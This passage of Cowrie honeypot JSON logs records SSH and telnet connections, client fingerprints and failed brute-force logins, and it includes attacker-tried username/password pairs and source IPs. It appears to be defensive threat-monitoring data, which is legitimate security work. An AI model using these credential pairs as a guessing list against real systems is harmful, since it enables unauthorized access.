group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:39.517225Z","src_ip":"103.199.16.90","session":"f3821f6758c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dione","password":"dione","message":"login attempt [dione/dione] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:40.446473Z","src_ip":"103.199.16.90","session":"f3821f6758c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:41.680979Z","src_ip":"103.199.16.90","session":"f3821f6758c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44916,"dst_ip":"10.17.0.5","dst_port":22,"session":"31b26d616879","protocol":"ssh","message":"New connection: 8.210.75.243:44916 (10.17.0.5:22) [session: 31b26d616879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:43.166201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:43.170452Z","src_ip":"8.210.75.243","session":"31b26d616879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:47.960609Z","src_ip":"8.210.75.243","session":"d9a385d7b43d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57012,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b5e81e94bde","protocol":"ssh","message":"New connection: 8.210.75.243:57012 (10.17.0.5:22) [session: 9b5e81e94bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:49.831535Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":56354,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0d3739c9d32","protocol":"ssh","message":"New connection: 45.94.68.69:56354 (159.203.135.109:22) [session: f0d3739c9d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:51.329880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:51.333362Z","src_ip":"45.94.68.69","session":"f0d3739c9d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:51.540905Z","src_ip":"45.94.68.69","session":"f0d3739c9d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.92770314216614,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:51.647758Z","src_ip":"170.64.224.25","session":"488388d8109e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1b2c3d4e5f6","message":"login attempt [root/A1b2c3d4e5f6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:52.421013Z","src_ip":"45.94.68.69","session":"f0d3739c9d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:53.631428Z","src_ip":"45.94.68.69","session":"f0d3739c9d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":46566,"dst_ip":"159.203.135.109","dst_port":22,"session":"900eb0aa0f83","protocol":"ssh","message":"New connection: 103.97.101.25:46566 (159.203.135.109:22) [session: 900eb0aa0f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:01.330114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:01.335560Z","src_ip":"103.97.101.25","session":"900eb0aa0f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:01.576865Z","src_ip":"103.97.101.25","session":"900eb0aa0f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin234","message":"login attempt [root/Admin234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:02.565689Z","src_ip":"103.97.101.25","session":"900eb0aa0f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:03.806440Z","src_ip":"103.97.101.25","session":"900eb0aa0f83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":55208,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa58ba106629","protocol":"ssh","message":"New connection: 143.20.185.207:55208 (159.203.135.109:22) [session: fa58ba106629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:05.254547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:05.258067Z","src_ip":"143.20.185.207","session":"fa58ba106629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:05.390834Z","src_ip":"143.20.185.207","session":"fa58ba106629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA#4VCPU16GBAMD","message":"login attempt [root/RASYAXINSA#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:05.837677Z","src_ip":"143.20.185.207","session":"fa58ba106629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:07.003665Z","src_ip":"143.20.185.207","session":"fa58ba106629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":58522,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9c8cfa20a65","protocol":"ssh","message":"New connection: 20.228.179.34:58522 (159.203.135.109:22) [session: f9c8cfa20a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:08.699149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:08.702371Z","src_ip":"20.228.179.34","session":"f9c8cfa20a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:08.719166Z","src_ip":"20.228.179.34","session":"f9c8cfa20a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neo","password":"neo123","message":"login attempt [neo/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:08.763920Z","src_ip":"20.228.179.34","session":"f9c8cfa20a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:09.781708Z","src_ip":"20.228.179.34","session":"f9c8cfa20a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40884,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8333b1a5663","protocol":"ssh","message":"New connection: 8.210.75.243:40884 (10.17.0.5:22) [session: e8333b1a5663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:11.845207Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":36226,"dst_ip":"10.17.0.5","dst_port":22,"session":"433bb3cab990","protocol":"ssh","message":"New connection: 164.92.161.148:36226 (10.17.0.5:22) [session: 433bb3cab990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:12.064642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:12.068497Z","src_ip":"164.92.161.148","session":"433bb3cab990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:12.150709Z","src_ip":"164.92.161.148","session":"433bb3cab990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password#123","message":"login attempt [root/password#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:12.511528Z","src_ip":"164.92.161.148","session":"433bb3cab990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:13.595829Z","src_ip":"164.92.161.148","session":"433bb3cab990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":45636,"dst_ip":"10.17.0.5","dst_port":22,"session":"5850bcbe45a8","protocol":"ssh","message":"New connection: 139.59.208.49:45636 (10.17.0.5:22) [session: 5850bcbe45a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:16.270862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:16.275170Z","src_ip":"139.59.208.49","session":"5850bcbe45a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:16.363477Z","src_ip":"139.59.208.49","session":"5850bcbe45a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"demon","message":"login attempt [root/demon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:16.728848Z","src_ip":"139.59.208.49","session":"5850bcbe45a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:17.816437Z","src_ip":"139.59.208.49","session":"5850bcbe45a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":37302,"dst_ip":"10.17.0.5","dst_port":22,"session":"df260ed5f785","protocol":"ssh","message":"New connection: 129.121.102.3:37302 (10.17.0.5:22) [session: df260ed5f785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:23.715636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:23.721140Z","src_ip":"129.121.102.3","session":"df260ed5f785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:23.747634Z","src_ip":"129.121.102.3","session":"df260ed5f785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@P@ssw0rd","message":"login attempt [root/123@P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:23.886495Z","src_ip":"129.121.102.3","session":"df260ed5f785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":54220,"dst_ip":"10.17.0.5","dst_port":22,"session":"8035f6fbad81","protocol":"ssh","message":"New connection: 122.176.122.24:54220 (10.17.0.5:22) [session: 8035f6fbad81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:24.377697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:24.381132Z","src_ip":"122.176.122.24","session":"8035f6fbad81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":37640,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aaf1dbb4219","protocol":"ssh","message":"New connection: 211.106.137.135:37640 (10.17.0.5:22) [session: 5aaf1dbb4219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:24.419725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:24.423174Z","src_ip":"211.106.137.135","session":"5aaf1dbb4219","protocol":"ssh"}
